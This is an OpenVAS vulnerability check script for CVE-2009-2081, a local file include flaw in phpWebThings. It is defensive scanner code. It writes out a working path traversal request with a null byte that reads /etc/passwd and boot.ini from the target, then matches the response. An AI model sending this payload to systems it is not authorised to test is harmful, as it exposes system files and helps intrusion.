###############################################################################
# OpenVAS Vulnerability Test
# $Id$
#
# phpWebThings 'module' Parameter Local File Include Vulnerability
#
# Authors
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if (description)
{
 script_id(100220);
 script_cve_id("CVE-2009-2081");
 script_bugtraq_id(35313);
 script_version ("1.0");
 script_tag(name:"cvss_base", value:"4.3");
 script_tag(name:"risk_factor", value:"Medium");

 script_name("phpWebThings 'module' Parameter Local File Include Vulnerability");
 desc = "

 Overview:
  phpWebThings is prone to a local file-include vulnerability because
  it fails to properly sanitize user-supplied input.

  An attacker can exploit this vulnerability to view files and execute
  local scripts in the context of the webserver process, which may aid
  in further attacks.

  phpWebThings 1.5.2 is vulnerable; other versions may also be
  affected. 

 See also:
  http://www.securityfocus.com/bid/35313

 Risk factor : Medium";

 script_description(desc);
 script_summary("Determine if phpWebThings is vulnerable to Local File Include");
 script_category(ACT_GATHER_INFO);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
 script_dependencie("phpWebThings_detect.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);

if(!version = get_kb_item(string("www/", port, "/phpWebThings")))exit(0);
if(!matches = eregmatch(string:version, pattern:"^(.+) under (/.*)$"))exit(0);

dir  = matches[2];

  if(!isnull(dir)) {
    foreach file (make_list("etc/passwd", "boot.ini")) {
      url = string(dir, "/help.php?module=../../../../../../../../../../../../", file, "%00");
      req = http_get(item:url, port:port);
      buf = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
      if( buf == NULL )exit(0);
      
      if(egrep(pattern:"(root:.*:0:[01]:|\[boot loader\])", string: buf))
        {    
   	   security_warning(port:port);
           exit(0);
        } 
   }
  }   

exit(0);
